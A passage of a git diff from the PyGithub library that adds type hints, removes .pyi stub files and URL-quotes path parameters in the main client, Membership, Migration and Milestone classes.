:class:`github.NamedUser.NamedUser` + :rtype: :class:`PaginatedList` of :class:`github.NamedUser.NamedUser` """ assert isinstance(query, str), query url_parameters = dict() - if sort is not github.GithubObject.NotSet: + if sort is not NotSet: assert sort in ("followers", "repositories", "joined"), sort url_parameters["sort"] = sort - if order is not github.GithubObject.NotSet: + if order is not NotSet: assert order in ("asc", "desc"), order url_parameters["order"] = order @@ -485,7 +679,7 @@ def search_users( url_parameters["q"] = " ".join(query_chunks) assert url_parameters["q"], "need at least one qualifier" - return github.PaginatedList.PaginatedList( + return PaginatedList( github.NamedUser.NamedUser, self.__requester, "/search/users", @@ -494,25 +688,25 @@ def search_users( def search_issues( self, - query, - sort=github.GithubObject.NotSet, - order=github.GithubObject.NotSet, - **qualifiers, - ): + query: str, + sort: Opt[str] = NotSet, + order: Opt[str] = NotSet, + **qualifiers: Any, + ) -> PaginatedList[Issue]: """ :calls: `GET /search/issues `_ :param query: string :param sort: string ('comments', 'created', 'updated') :param order: string ('asc', 'desc') :param qualifiers: keyword dict query qualifiers - :rtype: :class:`github.PaginatedList.PaginatedList` of :class:`github.Issue.Issue` + :rtype: :class:`PaginatedList` of :class:`github.Issue.Issue` """ assert isinstance(query, str), query url_parameters = dict() - if sort is not github.GithubObject.NotSet: + if sort is not NotSet: assert sort in ("comments", "created", "updated"), sort url_parameters["sort"] = sort - if order is not github.GithubObject.NotSet: + if order is not NotSet: assert order in ("asc", "desc"), order url_parameters["order"] = order @@ -526,18 +720,16 @@ def search_issues( url_parameters["q"] = " ".join(query_chunks) assert url_parameters["q"], "need at least one qualifier" - return github.PaginatedList.PaginatedList( - github.Issue.Issue, self.__requester, "/search/issues", url_parameters - ) + return PaginatedList(github.Issue.Issue, self.__requester, "/search/issues", url_parameters) def search_code( self, - query, - sort=github.GithubObject.NotSet, - order=github.GithubObject.NotSet, - highlight=False, - **qualifiers, - ): + query: str, + sort: Opt[str] = NotSet, + order: Opt[str] = NotSet, + highlight: bool = False, + **qualifiers: Any, + ) -> PaginatedList[ContentFile]: """ :calls: `GET /search/code `_ :param query: string @@ -545,18 +737,14 @@ def search_code( :param order: string ('asc', 'desc') :param highlight: boolean (True, False) :param qualifiers: keyword dict query qualifiers - :rtype: :class:`github.PaginatedList.PaginatedList` of :class:`github.ContentFile.ContentFile` + :rtype: :class:`PaginatedList` of :class:`github.ContentFile.ContentFile` """ assert isinstance(query, str), query url_parameters = dict() - if ( - sort is not github.GithubObject.NotSet - ): # pragma no branch (Should be covered) + if sort is not NotSet: # pragma no branch (Should be covered) assert sort in ("indexed",), sort url_parameters["sort"] = sort - if ( - order is not github.GithubObject.NotSet - ): # pragma no branch (Should be covered) + if order is not NotSet: # pragma no branch (Should be covered) assert order in ("asc", "desc"), order url_parameters["order"] = order @@ -572,7 +760,7 @@ def search_code( headers = {"Accept": Consts.highLightSearchPreview} if highlight else None - return github.PaginatedList.PaginatedList( + return PaginatedList( github.ContentFile.ContentFile, self.__requester, "/search/code", @@ -582,25 +770,25 @@ def search_code( def search_commits( self, - query, - sort=github.GithubObject.NotSet, - order=github.GithubObject.NotSet, - **qualifiers, - ): + query: str, + sort: Opt[str] = NotSet, + order: Opt[str] = NotSet, + **qualifiers: Any, + ) -> PaginatedList[Commit]: """ :calls: `GET /search/commits `_ :param query: string :param sort: string ('author-date', 'committer-date') :param order: string ('asc', 'desc') :param qualifiers: keyword dict query qualifiers - :rtype: :class:`github.PaginatedList.PaginatedList` of :class:`github.Commit.Commit` + :rtype: :class:`PaginatedList` of :class:`github.Commit.Commit` """ assert isinstance(query, str), query url_parameters = dict() - if sort is not github.GithubObject.NotSet: + if sort is not NotSet: assert sort in ("author-date", "committer-date"), sort url_parameters["sort"] = sort - if order is not github.GithubObject.NotSet: + if order is not NotSet: assert order in ("asc", "desc"), order url_parameters["order"] = order @@ -614,7 +802,7 @@ def search_commits( url_parameters["q"] = " ".join(query_chunks) assert url_parameters["q"], "need at least one qualifier" - return github.PaginatedList.PaginatedList( + return PaginatedList( github.Commit.Commit, self.__requester, "/search/commits", @@ -622,12 +810,12 @@ def search_commits( headers={"Accept": Consts.mediaTypeCommitSearchPreview}, ) - def search_topics(self, query, **qualifiers): + def search_topics(self, query: str, **qualifiers: Any) -> PaginatedList[Topic]: """ :calls: `GET /search/topics `_ :param query: string :param qualifiers: keyword dict query qualifiers - :rtype: :class:`github.PaginatedList.PaginatedList` of :class:`github.Topic.Topic` + :rtype: :class:`PaginatedList` of :class:`github.Topic.Topic` """ assert isinstance(query, str), query url_parameters = dict() @@ -642,7 +830,7 @@ def search_topics(self, query, **qualifiers): url_parameters["q"] = " ".join(query_chunks) assert url_parameters["q"], "need at least one qualifier" - return github.PaginatedList.PaginatedList( + return PaginatedList( github.Topic.Topic, self.__requester, "/search/topics", @@ -650,7 +838,7 @@ def search_topics(self, query, **qualifiers): headers={"Accept": Consts.mediaTypeTopicsPreview}, ) - def render_markdown(self, text, context=github.GithubObject.NotSet): + def render_markdown(self, text: str, context: Opt[Repository] = NotSet) -> str: """ :calls: `POST /markdown `_ :param text: string @@ -658,69 +846,70 @@ def render_markdown(self, text, context=github.GithubObject.NotSet): :rtype: string """ assert isinstance(text, str), text - assert context is github.GithubObject.NotSet or isinstance( - context, github.Repository.Repository - ), context + assert context is NotSet or isinstance(context, github.Repository.Repository), context post_parameters = {"text": text} - if context is not github.GithubObject.NotSet: + if is_defined(context): post_parameters["mode"] = "gfm" post_parameters["context"] = context._identity - status, headers, data = self.__requester.requestJson( - "POST", "/markdown", input=post_parameters - ) + status, headers, data = self.__requester.requestJson("POST", "/markdown", input=post_parameters) return data - def get_hook(self, name): + def get_hook(self, name: str) -> HookDescription: """ :calls: `GET /hooks/{name} `_ - :param name: string - :rtype: :class:`github.HookDescription.HookDescription` """ assert isinstance(name, str), name - headers, attributes = self.__requester.requestJsonAndCheck( - "GET", f"/hooks/{name}" - ) - return HookDescription.HookDescription( - self.__requester, headers, attributes, completed=True - ) + name = urllib.parse.quote(name) + headers, attributes = self.__requester.requestJsonAndCheck("GET", f"/hooks/{name}") + return HookDescription(self.__requester, headers, attributes, completed=True) - def get_hooks(self): + def get_hooks(self) -> list[HookDescription]: """ :calls: `GET /hooks `_ :rtype: list of :class:`github.HookDescription.HookDescription` """ headers, data = self.__requester.requestJsonAndCheck("GET", "/hooks") - return [ - HookDescription.HookDescription( - self.__requester, headers, attributes, completed=True - ) - for attributes in data - ] + return [HookDescription(self.__requester, headers, attributes, completed=True) for attributes in data] + + def get_hook_delivery(self, hook_id: int, delivery_id: int) -> HookDelivery: + """ + :calls: `GET /hooks/{hook_id}/deliveries/{delivery_id} `_ + :param hook_id: integer + :param delivery_id: integer + :rtype: :class:`HookDelivery` + """ + assert isinstance(hook_id, int), hook_id + assert isinstance(delivery_id, int), delivery_id + headers, attributes = self.__requester.requestJsonAndCheck("GET", f"/hooks/{hook_id}/deliveries/{delivery_id}") + return HookDelivery(self.__requester, headers, attributes, completed=True) + + def get_hook_deliveries(self, hook_id: int) -> list[HookDeliverySummary]: + """ + :calls: `GET /hooks/{hook_id}/deliveries `_ + :param hook_id: integer + :rtype: list of :class:`HookDeliverySummary` + """ + assert isinstance(hook_id, int), hook_id + headers, data = self.__requester.requestJsonAndCheck("GET", f"/hooks/{hook_id}/deliveries") + return [HookDeliverySummary(self.__requester, headers, attributes, completed=True) for attributes in data] - def get_gitignore_templates(self): + def get_gitignore_templates(self) -> list[str]: """ :calls: `GET /gitignore/templates `_ - :rtype: list of string """ - headers, data = self.__requester.requestJsonAndCheck( - "GET", "/gitignore/templates" - ) + headers, data = self.__requester.requestJsonAndCheck("GET", "/gitignore/templates") return data - def get_gitignore_template(self, name): + def get_gitignore_template(self, name: str) -> GitignoreTemplate: """ :calls: `GET /gitignore/templates/{name} `_ - :rtype: :class:`github.GitignoreTemplate.GitignoreTemplate` """ assert isinstance(name, str), name - headers, attributes = self.__requester.requestJsonAndCheck( - "GET", f"/gitignore/templates/{name}" - ) - return GitignoreTemplate.GitignoreTemplate( - self.__requester, headers, attributes, completed=True - ) + name = urllib.parse.quote(name) + headers, attributes = self.__requester.requestJsonAndCheck("GET", f"/gitignore/templates/{name}") + return github.GitignoreTemplate.GitignoreTemplate(self.__requester, headers, attributes, completed=True) - def get_emojis(self): + def get_emojis(self) -> dict[str, str]: """ :calls: `GET /emojis `_ :rtype: dictionary of type => url for emoji` @@ -728,19 +917,24 @@ def get_emojis(self): headers, attributes = self.__requester.requestJsonAndCheck("GET", "/emojis") return attributes - def create_from_raw_data(self, klass, raw_data, headers={}): + def create_from_raw_data( + self, klass: type[TGithubObject], raw_data: dict[str, Any], headers: dict[str, str | int] | None = None + ) -> TGithubObject: """ - Creates an object from raw_data previously obtained by :attr:`github.GithubObject.GithubObject.raw_data`, - and optionally headers previously obtained by :attr:`github.GithubObject.GithubObject.raw_headers`. + Creates an object from raw_data previously obtained by :attr:`GithubObject.raw_data`, + and optionally headers previously obtained by :attr:`GithubObject.raw_headers`. :param klass: the class of the object to create :param raw_data: dict :param headers: dict :rtype: instance of class ``klass`` """ + if headers is None: + headers = {} + return klass(self.__requester, headers, raw_data, completed=True) - def dump(self, obj, file, protocol=0): + def dump(self, obj: GithubObject, file: BinaryIO, protocol: int = 0) -> None: """ Dumps (pickles) a PyGithub object to a file-like object. Some effort is made to not pickle sensitive information like the Github credentials used in the :class:`Github` instance. @@ -752,7 +946,7 @@ def dump(self, obj, file, protocol=0): """ pickle.dump((obj.__class__, obj.raw_data, obj.raw_headers), file, protocol) - def load(self, f): + def load(self, f: BinaryIO) -> Any: """ Loads (unpickles) a PyGithub object from a file-like object. @@ -761,7 +955,7 @@ def load(self, f): """ return self.create_from_raw_data(*pickle.load(f)) - def get_oauth_application(self, client_id, client_secret): + def get_oauth_application(self, client_id: str, client_secret: str) -> ApplicationOAuth: return github.ApplicationOAuth.ApplicationOAuth( self.__requester, headers={}, @@ -769,21 +963,22 @@ def get_oauth_application(self, client_id, client_secret): completed=False, ) - def get_app(self, slug=github.GithubObject.NotSet): + def get_app(self, slug: Opt[str] = NotSet) -> GithubApp: """ :calls: `GET /apps/{slug} `_ or `GET /app `_ - :param slug: string - :rtype: :class:`github.GithubApp.GithubApp` """ - assert slug is github.GithubObject.NotSet or isinstance(slug, str), slug - if slug is github.GithubObject.NotSet: - return GithubApp.GithubApp( - self.__requester, {}, {"url": "/app"}, completed=False + + if slug is NotSet: + # with no slug given, calling /app returns the authenticated app, + # including the actual /apps/{slug} + warnings.warn( + "Argument slug is mandatory, calling this method without the slug argument is deprecated, please use " + "github.GithubIntegration(auth=github.Auth.AppAuth(...)).get_app() instead", + category=DeprecationWarning, ) + return GithubIntegration(**self.__requester.kwargs).get_app() else: - headers, data = self.__requester.requestJsonAndCheck("GET", f"/apps/{slug}") - return GithubApp.GithubApp(self.__requester, headers, data, completed=True) - - -# Retrocompatibility -GithubIntegration = github.GithubIntegration + assert isinstance(slug, str), slug + # with a slug given, we can lazily load the GithubApp + slug = urllib.parse.quote(slug) + return github.GithubApp.GithubApp(self.__requester, {}, {"url": f"/apps/{slug}"}, completed=False) diff --git a/github/MainClass.pyi b/github/MainClass.pyi deleted file mode 100644 index f8145f365d..0000000000 --- a/github/MainClass.pyi +++ /dev/null @@ -1,142 +0,0 @@ -from datetime import datetime -from io import BytesIO -from typing import Any, Dict, List, Optional, Tuple, Type, TypeVar, Union, overload - -from github.AppAuthentication import AppAuthentication -from github.AuthenticatedUser import AuthenticatedUser -from github.Commit import Commit -from github.ContentFile import ContentFile -from github.Event import Event -from github.Gist import Gist -from github.GithubObject import GithubObject, _NotSetType -from github.GitignoreTemplate import GitignoreTemplate -from github.HookDescription import HookDescription -from github.Issue import Issue -from github.License import License -from github.NamedUser import NamedUser -from github.Organization import Organization -from github.PaginatedList import PaginatedList -from github.Project import Project -from github.RateLimit import RateLimit -from github.Repository import Repository -from github.Topic import Topic - -from urllib3.util import Retry - -TGithubObject = TypeVar("TGithubObject", bound=GithubObject) - -class Github: - def __init__( - self, - login_or_token: Optional[str] = ..., - password: Optional[str] = ..., - jwt: Optional[str] = ..., - app_auth: Optional[AppAuthentication] = ..., - base_url: str = ..., - timeout: int = ..., - user_agent: str = ..., - per_page: int = ..., - verify: bool = ..., - retry: Optional[Union[int, Retry]] = ..., - pool_size: Optional[int] = ..., - ) -> None: ... - @property - def FIX_REPO_GET_GIT_REF(self) -> bool: ... - @FIX_REPO_GET_GIT_REF.setter - def FIX_REPO_GET_GIT_REF(self, value: bool) -> None: ... - @property - def per_page(self) -> int: ... - @per_page.setter - def per_page(self, value: int) -> None: ... - def create_from_raw_data( - self, - klass: Type[TGithubObject], - raw_data: Dict[str, Any], - headers: Dict[str, Union[str, int]] = ..., - ) -> TGithubObject: ... - def dump(self, obj: GithubObject, file: BytesIO, protocol: int = ...) -> None: ... - def get_emojis(self) -> Dict[str, str]: ... - def get_events(self) -> PaginatedList[Event]: ... - def get_gist(self, id: str) -> Gist: ... - def get_gists( - self, since: Union[datetime, _NotSetType] = ... - ) -> PaginatedList[Gist]: ... - def get_gitignore_template(self, name: str) -> GitignoreTemplate: ... - def get_gitignore_templates(self) -> List[str]: ... - def get_hook(self, name: str) -> HookDescription: ... - def get_hooks(self) -> List[HookDescription]: ... - def get_license(self, key: Union[str, _NotSetType] = ...) -> License: ... - def get_licenses(self) -> PaginatedList[License]: ... - def get_organization(self, login: str) -> Organization: ... - def get_organizations( - self, since: Union[int, _NotSetType] = ... - ) -> PaginatedList[Organization]: ... - def get_project(self, id: int) -> Project: ... - def get_rate_limit(self) -> RateLimit: ... - def get_repo( - self, full_name_or_id: Union[int, str], lazy: bool = ... - ) -> Repository: ... - def get_repos( - self, - since: Union[int, _NotSetType] = ..., - visibility: Union[str, _NotSetType] = ..., - ) -> PaginatedList[Repository]: ... - @overload - def get_user(self, login: _NotSetType = ...) -> AuthenticatedUser: ... - @overload - def get_user( - self, login: Union[str, _NotSetType] = ... - ) -> Union[NamedUser, AuthenticatedUser]: ... - def get_user_by_id(self, user_id: int) -> NamedUser: ... - def get_users( - self, since: Union[int, _NotSetType] = ... - ) -> PaginatedList[NamedUser]: ... - def load(self, f: BytesIO) -> Repository: ... - @property - def oauth_scopes(self) -> Optional[List[str]]: ... - @property - def clone_credentials(self) -> Optional[Tuple[str, str]]: ... - @property - def rate_limiting(self) -> Tuple[int, int]: ... - @property - def rate_limiting_resettime(self) -> int: ... - def render_markdown( - self, text: str, context: Union[Repository, _NotSetType] = ... - ) -> str: ... - def search_code( - self, - query: str, - sort: Union[str, _NotSetType] = ..., - order: Union[str, _NotSetType] = ..., - highlight: bool = ..., - **qualifiers: Any - ) -> PaginatedList[ContentFile]: ... - def search_commits( - self, - query: str, - sort: Union[str, _NotSetType] = ..., - order: Union[str, _NotSetType] = ..., - **qualifiers: Any - ) -> PaginatedList[Commit]: ... - def search_issues( - self, - query: str, - sort: Union[str, _NotSetType] = ..., - order: Union[str, _NotSetType] = ..., - **qualifiers: Any - ) -> PaginatedList[Issue]: ... - def search_repositories( - self, - query: str, - sort: Union[str, _NotSetType] = ..., - order: Union[str, _NotSetType] = ..., - **qualifiers: Any - ) -> PaginatedList[Repository]: ... - def search_topics(self, query: str, **qualifiers: Any) -> PaginatedList[Topic]: ... - def search_users( - self, - query: str, - sort: Union[str, _NotSetType] = ..., - order: Union[str, _NotSetType] = ..., - **qualifiers: Any - ) -> PaginatedList[NamedUser]: ... diff --git a/github/Membership.py b/github/Membership.py index 24269b7a68..2b96defdf2 100644 --- a/github/Membership.py +++ b/github/Membership.py @@ -1,24 +1,25 @@ ############################ Copyrights and license ############################ # # -# Copyright 2012 Steve English # # Copyright 2012 Vincent Jacques # # Copyright 2012 Zearin # # Copyright 2013 AKFish # -# Copyright 2013 Cameron White # # Copyright 2013 Vincent Jacques # -# Copyright 2013 poulp # -# Copyright 2014 Tomas Radej # # Copyright 2014 Vincent Jacques # -# Copyright 2016 E. Dunham # +# Copyright 2015 Matt Babineau # # Copyright 2016 Jannis Gebauer # +# Copyright 2016 Martijn Koster # # Copyright 2016 Peter Buckley # -# Copyright 2017 Balázs Rostás # -# Copyright 2017 Jannis Gebauer # -# Copyright 2017 Simon # # Copyright 2018 Wan Liuyang # -# Copyright 2018 bryanhuntesl <31992054+bryanhuntesl@users.noreply.github.com> # # Copyright 2018 sfdye # -# Copyright 2018 itsbruce # +# Copyright 2019 Pavan Kunisetty # +# Copyright 2019 Steve Kowalik # +# Copyright 2019 Wan Liuyang # +# Copyright 2020 Steve Kowalik # +# Copyright 2021 Mark Walker # +# Copyright 2021 Steve Kowalik # +# Copyright 2023 Enrico Minack # +# Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # +# Copyright 2023 Trim21 # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # @@ -38,74 +39,66 @@ # # ################################################################################ -import github.GithubObject +from __future__ import annotations +from typing import TYPE_CHECKING, Any -class Membership(github.GithubObject.CompletableGithubObject): +import github.NamedUser +import github.Organization +from github.GithubObject import Attribute, CompletableGithubObject, NotSet + +if TYPE_CHECKING: + from github.NamedUser import NamedUser + from github.Organization import Organization + + +class Membership(CompletableGithubObject): """ This class represents Membership of an organization. The reference can be found here https://docs.github.com/en/rest/reference/orgs """ - def __repr__(self): + def _initAttributes(self) -> None: + self._url: Attribute[str] = NotSet + self._state: Attribute[str] = NotSet + self._role: Attribute[str] = NotSet + self._organization_url: Attribute[str] = NotSet + self._organization: Attribute[Organization] = NotSet + self._user: Attribute[NamedUser] = NotSet + + def __repr__(self) -> str: return self.get__repr__({"url": self._url.value}) @property - def url(self): - """ - :type: string - """ + def url(self) -> str: self._completeIfNotSet(self._url) return self._url.value @property - def state(self): - """ - :type: string - """ + def state(self) -> str: self._completeIfNotSet(self._state) return self._state.value @property - def role(self): - """ - :type: string - """ + def role(self) -> str: self._completeIfNotSet(self._role) return self._role.value @property - def organization_url(self): - """ - :type: string - """ + def organization_url(self) -> str: self._completeIfNotSet(self._organization_url) return self._organization_url.value @property - def organization(self): - """ - :type: :class:`github.Organization.Organization` - """ + def organization(self) -> Organization: self._completeIfNotSet(self._organization) return self._organization.value @property - def user(self): - """ - :type: :class:`github.NamedUser.NamedUser` - """ + def user(self) -> NamedUser: self._completeIfNotSet(self._user) return self._user.value - def _initAttributes(self): - self._url = github.GithubObject.NotSet - self._state = github.GithubObject.NotSet - self._role = github.GithubObject.NotSet - self._organization_url = github.GithubObject.NotSet - self._organization = github.GithubObject.NotSet - self._user = github.GithubObject.NotSet - - def _useAttributes(self, attributes): + def _useAttributes(self, attributes: dict[str, Any]) -> None: if "url" in attributes: # pragma no branch self._url = self._makeStringAttribute(attributes["url"]) if "state" in attributes: # pragma no branch @@ -113,14 +106,8 @@ def _useAttributes(self, attributes): if "role" in attributes: # pragma no branch self._role = self._makeStringAttribute(attributes["role"]) if "organization_url" in attributes: # pragma no branch - self._organization_url = self._makeStringAttribute( - attributes["organization_url"] - ) + self._organization_url = self._makeStringAttribute(attributes["organization_url"]) if "organization" in attributes: # pragma no branch - self._organization = self._makeClassAttribute( - github.Organization.Organization, attributes["organization"] - ) + self._organization = self._makeClassAttribute(github.Organization.Organization, attributes["organization"]) if "user" in attributes: # pragma no branch - self._user = self._makeClassAttribute( - github.NamedUser.NamedUser, attributes["user"] - ) + self._user = self._makeClassAttribute(github.NamedUser.NamedUser, attributes["user"]) diff --git a/github/Membership.pyi b/github/Membership.pyi deleted file mode 100644 index 925c252ff0..0000000000 --- a/github/Membership.pyi +++ /dev/null @@ -1,20 +0,0 @@ -from typing import Any, Dict - -from github.GithubObject import CompletableGithubObject -from github.NamedUser import NamedUser -from github.Organization import Organization - -class Membership(CompletableGithubObject): - def __repr__(self) -> str: ... - def _initAttributes(self) -> None: ... - def _useAttributes(self, attributes: Dict[str, Any]) -> None: ... - @property - def url(self) -> str: ... - @property - def role(self) -> str: ... - @property - def organization_url(self) -> str: ... - @property - def organization(self) -> Organization: ... - @property - def user(self) -> NamedUser: ... diff --git a/github/Migration.py b/github/Migration.py index 5ab0caea10..4da1b3f822 100644 --- a/github/Migration.py +++ b/github/Migration.py @@ -3,14 +3,25 @@ # Copyright 2012 Vincent Jacques # # Copyright 2012 Zearin # # Copyright 2013 AKFish # +# Copyright 2013 Michael Stead # # Copyright 2013 Vincent Jacques # -# Copyright 2013 martinqt # -# Copyright 2014 Andy Casey # # Copyright 2014 Vincent Jacques # # Copyright 2016 Jannis Gebauer # -# Copyright 2016 John Eskew # # Copyright 2016 Peter Buckley # +# Copyright 2017 Nicolas Agustín Torres # +# Copyright 2018 Shubham Singh <41840111+singh811@users.noreply.github.com> # +# Copyright 2018 Wan Liuyang # +# Copyright 2018 per1234 # # Copyright 2018 sfdye # +# Copyright 2019 Steve Kowalik # +# Copyright 2019 Wan Liuyang # +# Copyright 2020 Steve Kowalik # +# Copyright 2021 Mark Walker # +# Copyright 2021 Steve Kowalik # +# Copyright 2023 Enrico Minack # +# Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # +# Copyright 2023 Mark Amery # +# Copyright 2023 Trim21 # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # @@ -30,106 +41,90 @@ # # ################################################################################ +from __future__ import annotations + +import urllib.parse +from datetime import datetime +from typing import Any + import github.GithubObject import github.NamedUser import github.PaginatedList +import github.Repository +from github import Consts +from github.GithubObject import Attribute, CompletableGithubObject, NotSet -from . import Consts - -class Migration(github.GithubObject.CompletableGithubObject): +class Migration(CompletableGithubObject): """ This class represents Migrations. The reference can be found here https://docs.github.com/en/rest/reference/migrations """ - def __repr__(self): + def _initAttributes(self) -> None: + self._id: Attribute[int] = NotSet + self._owner: Attribute[github.NamedUser.NamedUser] = NotSet + self._guid: Attribute[str] = NotSet + self._state: Attribute[str] = NotSet + self._lock_repositories: Attribute[bool] = NotSet + self._exclude_attachments: Attribute[bool] = NotSet + self._repositories: Attribute[list[github.Repository.Repository]] = NotSet + self._url: Attribute[str] = NotSet + + def __repr__(self) -> str: return self.get__repr__({"state": self._state.value, "url": self._url.value}) @property - def id(self): - """ - :type: int - """ + def id(self) -> int: return self._id.value @property - def owner(self): - """ - :type: :class:`github.NamedUser.NamedUser` - """ + def owner(self) -> github.NamedUser.NamedUser: self._completeIfNotSet(self._owner) return self._owner.value @property - def guid(self): - """ - :type: str - """ + def guid(self) -> str: self._completeIfNotSet(self._guid) return self._guid.value @property - def state(self): - """ - :type: str - """ + def state(self) -> str: self._completeIfNotSet(self._guid) return self._state.value @property - def lock_repositories(self): - """ - :type: bool - """ + def lock_repositories(self) -> bool: self._completeIfNotSet(self._repositories) return self._lock_repositories.value @property - def exclude_attachments(self): - """ - :type: bool - """ + def exclude_attachments(self) -> bool: self._completeIfNotSet(self._exclude_attachments) return self._exclude_attachments.value @property - def repositories(self): - """ - :type: :class:`github.PaginatedList.PaginatedList` of :class:`github.Repository.Repository` - """ + def repositories(self) -> list[github.Repository.Repository]: self._completeIfNotSet(self._repositories) return self._repositories.value @property - def url(self): - """ - :type: str - """ + def url(self) -> str: self._completeIfNotSet(self._url) return self._url.value @property - def created_at(self): - """ - :type: datetime.datetime - :rtype: None - """ + def created_at(self) -> datetime: self._completeIfNotSet(self._created_at) return self._created_at.value @property - def updated_at(self): - """ - :type: datetime.datetime - :rtype: None - """ + def updated_at(self) -> datetime: self._completeIfNotSet(self._updated_at) return self._updated_at.value - def get_status(self): + def get_status(self) -> str: """ :calls: `GET /user/migrations/{migration_id} `_ - :rtype: str """ headers, data = self._requester.requestJsonAndCheck( "GET", self.url, headers={"Accept": Consts.mediaTypeMigrationPreview} @@ -137,10 +132,9 @@ def get_status(self): self._useAttributes(data) return self.state - def get_archive_url(self): + def get_archive_url(self) -> str: """ :calls: `GET /user/migrations/{migration_id}/archive `_ - :rtype: str """ headers, data = self._requester.requestJsonAndCheck( "GET", @@ -149,7 +143,7 @@ def get_archive_url(self): ) return data["data"] - def delete(self): + def delete(self) -> None: """ :calls: `DELETE /user/migrations/{migration_id}/archive `_ """ @@ -159,50 +153,31 @@ def delete(self): headers={"Accept": Consts.mediaTypeMigrationPreview}, ) - def unlock_repo(self, repo_name): + def unlock_repo(self, repo_name: str) -> None: """ :calls: `DELETE /user/migrations/{migration_id}/repos/{repo_name}/lock `_ - :param repo_name: str - :rtype: None """ assert isinstance(repo_name, str), repo_name + repo_name = urllib.parse.quote(repo_name) headers, data = self._requester.requestJsonAndCheck( "DELETE", f"{self.url}/repos/{repo_name}/lock", headers={"Accept": Consts.mediaTypeMigrationPreview}, ) - def _initAttributes(self): - self._id = github.GithubObject.NotSet - self._owner = github.GithubObject.NotSet - self._guid = github.GithubObject.NotSet - self._state = github.GithubObject.NotSet - self._lock_repositories = github.GithubObject.NotSet - self._exclude_attachments = github.GithubObject.NotSet - self._repositories = github.GithubObject.NotSet - self._url = github.GithubObject.NotSet - self._created_at = github.GithubObject.NotSet - self._updated_at = github.GithubObject.NotSet - - def _useAttributes(self, attributes): + def _useAttributes(self, attributes: dict[str, Any]) -> None: if "id" in attributes: self._id = self._makeIntAttribute(attributes["id"]) if "owner" in attributes: - self._owner = self._makeClassAttribute( - github.NamedUser.NamedUser, attributes["owner"] - ) + self._owner = self._makeClassAttribute(github.NamedUser.NamedUser, attributes["owner"]) if "guid" in attributes: self._guid = self._makeStringAttribute(attributes["guid"]) if "state" in attributes: self._state = self._makeStringAttribute(attributes["state"]) if "lock_repositories" in attributes: - self._lock_repositories = self._makeBoolAttribute( - attributes["lock_repositories"] - ) + self._lock_repositories = self._makeBoolAttribute(attributes["lock_repositories"]) if "exclude_attachments" in attributes: - self._exclude_attachments = self._makeBoolAttribute( - attributes["exclude_attachments"] - ) + self._exclude_attachments = self._makeBoolAttribute(attributes["exclude_attachments"]) if "repositories" in attributes: self._repositories = self._makeListOfClassesAttribute( github.Repository.Repository, attributes["repositories"] diff --git a/github/Migration.pyi b/github/Migration.pyi deleted file mode 100644 index 0536db7bbe..0000000000 --- a/github/Migration.pyi +++ /dev/null @@ -1,35 +0,0 @@ -from datetime import datetime -from typing import Any, Dict, List, Optional, Union - -from github.GithubObject import CompletableGithubObject -from github.NamedUser import NamedUser -from github.Repository import Repository - -class Migration(CompletableGithubObject): - def __repr__(self) -> str: ... - def _initAttributes(self) -> None: ... - def _useAttributes(self, attributes: Dict[str, Any]) -> None: ... - @property - def created_at(self) -> datetime: ... - def delete(self) -> None: ... - @property - def exclude_attachments(self) -> bool: ... - def get_archive_url(self) -> str: ... - def get_status(self) -> str: ... - @property - def guid(self) -> str: ... - @property - def id(self) -> int: ... - @property - def lock_repositories(self) -> bool: ... - @property - def owner(self) -> NamedUser: ... - @property - def repositories(self) -> List[Repository]: ... - @property - def state(self) -> str: ... - def unlock_repo(self, repo_name: str) -> None: ... - @property - def updated_at(self) -> datetime: ... - @property - def url(self) -> str: ... diff --git a/github/Milestone.py b/github/Milestone.py index cb8d6140a8..da984958e9 100644 --- a/github/Milestone.py +++ b/github/Milestone.py @@ -8,7 +8,16 @@ # Copyright 2014 Vincent Jacques # # Copyright 2016 Jannis Gebauer # # Copyright 2016 Peter Buckley # +# Copyright 2018 Michell Stuttgart # # Copyright 2018 sfdye # +# Copyright 2019 Steve Kowalik # +# Copyright 2019 Wan Liuyang # +# Copyright 2020 Steve Kowalik # +# Copyright 2021 Mark Walker # +# Copyright 2021 Steve Kowalik # +# Copyright 2023 Enrico Minack # +# Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # +# Copyright 2023 Trim21 # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # @@ -28,209 +37,154 @@ # # ################################################################################ -import datetime +from __future__ import annotations + +from datetime import date, datetime +from typing import Any import github.GithubObject import github.Label import github.NamedUser import github.PaginatedList +from github.GithubObject import Attribute, CompletableGithubObject, NotSet, Opt, is_defined +from github.PaginatedList import PaginatedList -class Milestone(github.GithubObject.CompletableGithubObject): +class Milestone(CompletableGithubObject): """ This class represents Milestones. The reference can be found here https://docs.github.com/en/rest/reference/issues#milestones """ - def __repr__(self): - return self.get__repr__( - {"number": self._number.value, "title": self._title.value} - ) + def _initAttributes(self) -> None: + self._closed_issues: Attribute[int] = NotSet + self._created_at: Attribute[datetime] = NotSet + self._creator: Attribute[github.NamedUser.NamedUser] = NotSet + self._description: Attribute[str] = NotSet + self._due_on: Attribute[datetime] = NotSet + self._id: Attribute[int] = NotSet + self._labels_url: Attribute[str] = NotSet + self._number: Attribute[int] = NotSet + self._open_issues: Attribute[int] = NotSet + self._state: Attribute[str] = NotSet + self._title: Attribute[str] = NotSet + self._updated_at: Attribute[datetime] = NotSet + self._url: Attribute[str] = NotSet + + def __repr__(self) -> str: + return self.get__repr__({"number": self._number.value, "title": self._title.value}) @property - def closed_issues(self): - """ - :type: integer - """ + def closed_issues(self) -> int: self._completeIfNotSet(self._closed_issues) return self._closed_issues.value @property - def created_at(self): - """ - :type: datetime.datetime - """ + def created_at(self) -> datetime: self._completeIfNotSet(self._created_at) return self._created_at.value @property - def creator(self): - """ - :type: :class:`github.NamedUser.NamedUser` - """ + def creator(self) -> github.NamedUser.NamedUser: self._completeIfNotSet(self._creator) return self._creator.value @property - def description(self): - """ - :type: string - """ + def description(self) -> str: self._completeIfNotSet(self._description) return self._description.value @property - def due_on(self): - """ - :type: datetime.datetime - """ + def due_on(self) -> datetime | None: self._completeIfNotSet(self._due_on) return self._due_on.value @property - def id(self): - """ - :type: integer - """ + def id(self) -> int: self._completeIfNotSet(self._id) return self._id.value @property - def labels_url(self): - """ - :type: string - """ + def labels_url(self) -> str: self._completeIfNotSet(self._labels_url) return self._labels_url.value @property - def number(self): - """ - :type: integer - """ + def number(self) -> int: 